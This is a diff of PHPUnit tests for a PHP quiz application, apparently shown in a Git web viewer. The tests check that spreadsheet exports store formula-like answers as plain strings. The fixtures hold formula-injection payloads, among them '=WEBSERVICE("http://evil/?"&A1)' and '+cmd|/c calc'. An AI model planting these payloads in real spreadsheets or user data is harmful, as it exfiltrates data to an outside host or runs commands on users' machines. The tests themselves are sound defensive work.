yield 'equals-prefixed formula' => ['=WEBSERVICE("http://evil/?"&A1)'];
|
||||
yield 'plus-prefixed' => ['+cmd|/c calc'];
|
||||
yield 'minus-prefixed' => ['-2+3'];
|
||||
yield 'at-prefixed' => ['@SUM(1,1)'];
|
||||
}
|
||||
|
||||
#[DataProvider('dangerousValueProvider')]
|
||||
public function testDangerousValuesAreStoredAsPlainStrings(string $value): void
|
||||
{
|
||||
$sheet = new Spreadsheet()->getActiveSheet();
|
||||
$sheet->setCellValue('A1', $value);
|
||||
|
||||
$cell = $sheet->getCell('A1');
|
||||
$this->assertSame(DataType::TYPE_STRING, $cell->getDataType());
|
||||
$this->assertSame($value, $cell->getValue());
|
||||
}
|
||||
|
||||
public function testOrdinaryValuesAreUnaffected(): void
|
||||
{
|
||||
$sheet = new Spreadsheet()->getActiveSheet();
|
||||
$sheet->setCellValue('A1', 'Anna en Bram');
|
||||
$sheet->setCellValue('A2', 42);
|
||||
$sheet->setCellValue('A3', true);
|
||||
|
||||
$this->assertSame('Anna en Bram', $sheet->getCell('A1')->getValue());
|
||||
$this->assertSame(DataType::TYPE_STRING, $sheet->getCell('A1')->getDataType());
|
||||
$this->assertSame(42, $sheet->getCell('A2')->getValue());
|
||||
$this->assertSame(DataType::TYPE_NUMERIC, $sheet->getCell('A2')->getDataType());
|
||||
$this->assertTrue($sheet->getCell('A3')->getValue());
|
||||
$this->assertSame(DataType::TYPE_BOOL, $sheet->getCell('A3')->getDataType());
|
||||
}
|
||||
}
|
||||
@@ -5,6 +5,7 @@ declare(strict_types=1);
|
||||
namespace Tvdt\Tests\Service;
|
||||
|
||||
use PhpOffice\PhpSpreadsheet\Cell\Coordinate;
|
||||
use PhpOffice\PhpSpreadsheet\Cell\DataType;
|
||||
use PhpOffice\PhpSpreadsheet\Reader;
|
||||
use PhpOffice\PhpSpreadsheet\Worksheet\Worksheet;
|
||||
use PHPUnit\Framework\Attributes\CoversClass;
|
||||
@@ -202,6 +203,43 @@ final class DataExportServiceTest extends DatabaseTestCase
|
||||
$this->assertSame('Man', $claudiaRow[$questionColumnIndex]);
|
||||
}
|
||||
|
||||
public function testRawAnswersSheetStoresFormulaLikeAnswerTextAsPlainString(): void
|
||||
{
|
||||
$season = $this->getSeasonByCode('krtek');
|
||||
$quiz = $this->entityManager->getRepository(Quiz::class)->findOneBy(['name' => 'Quiz 1', 'season' => $season]);
|
||||
$this->assertInstanceOf(Quiz::class, $quiz);
|
||||
$candidate = $this->getCandidateBySeasonAndName($season, 'Claudia');
|
||||
|
||||
/** @var Question $firstQuestion */
|
||||
$firstQuestion = $quiz->questions->first();
|
||||
/** @var Answer $chosenAnswer */
|
||||
$chosenAnswer = $firstQuestion->answers->first();
|
||||
$chosenAnswer->text = '=WEBSERVICE("http://evil/?"&A1)';
|
||||
|
||||
$this->quizCandidateRepository->createIfNotExist($quiz, $candidate);
|
||||
$this->entityManager->persist(new GivenAnswer($candidate, $quiz, $chosenAnswer));
|
||||
$this->entityManager->flush();
|
||||
|
||||
$zip = $this->openZip($this->getUserByEmail('user2@example.org'));
|
||||
$quizContent = $zip->getFromName('krtek-Krtek-Weekend/Quiz-1.xlsx');
|
||||
$this->assertIsString($quizContent);
|
||||
$zip->close();
|
||||
|
||||
$sheet = $this->loadSheet($quizContent, 'Raw answers');
|
||||
$rows = $sheet->toArray();
|
||||
$header = $rows[0];
|
||||
$questionColumnIndex = array_search($firstQuestion->question, $header, true);
|
||||
$this->assertIsInt($questionColumnIndex);
|
||||
$column = Coordinate::stringFromColumnIndex($questionColumnIndex + 1);
|
||||
|
||||
$candidateNames = array_column(\array_slice($rows, 1), 0);
|
||||
$rowNumber = 2 + array_search('Claudia', $candidateNames, true);
|
||||
|
||||
$cell = $sheet->getCell($column.$rowNumber);
|
||||
$this->assertSame(DataType::TYPE_STRING, $cell->getDataType());
|
||||
$this->assertSame('=WEBSERVICE("http://evil/?"&A1)', $cell->getValue());
|
||||
}
|
||||
|
||||
public function testRawAnswersSheetBoldsCorrectAnswersOnly(): void
|
||||
{
|
||||
$season = $this->getSeasonByCode('krtek');
|
||||
|
||||
@@ -4,6 +4,7 @@ declare(strict_types=1);
|
||||
|
||||
namespace Tvdt\Tests\Service;
|
||||
|
||||
use PhpOffice\PhpSpreadsheet\Cell\DataType;
|
||||
use PhpOffice\PhpSpreadsheet\Reader;
|
||||
use PhpOffice\PhpSpreadsheet\Spreadsheet;
|
||||
use PhpOffice\PhpSpreadsheet\Writer;
|
||||
@@ -121,6 +122,26 @@ final class QuizSpreadsheetServiceTest extends TestCase
|
||||
$this->assertCount(3, $second->answers);
|
||||
}
|
||||
|
||||
public function testQuizToXlsxStoresFormulaLikeAnswerTextAsPlainString(): void
|
||||
{
|
||||
$quiz = new Quiz();
|
||||
$question = new Question();
|
||||
$question->question = 'Who missed the assignment?';
|
||||
$question->ordering = 1;
|
||||
$question->addAnswer(new Answer('=WEBSERVICE("http://evil/?"&A1)', isRightAnswer: true));
|
||||
$question->addAnswer(new Answer('Bob', isRightAnswer: false));
|
||||
|
||||
$quiz->addQuestion($question);
|
||||
|
||||
$path = $this->captureXlsx($this->subject->quizToXlsx($quiz));
|
||||
|
||||
$sheet = new Reader\Xlsx()->setReadDataOnly(true)->load($path)->getActiveSheet();
|
||||
$cell = $sheet->getCell('B2');
|
||||
|
||||
$this->assertSame(DataType::TYPE_STRING, $cell->getDataType());
|
||||
$this->assertSame('=WEBSERVICE("http://evil/?"&A1)', $cell->getValue());
|
||||
}
|
||||
|
||||
public function testXlsxToQuizThrowsOnInvalidMimeType(): void
|
||||
{
|
||||
$path = $this->createTempPath('.txt');
|
||||
|
||||
Reference in New Issue
Block a user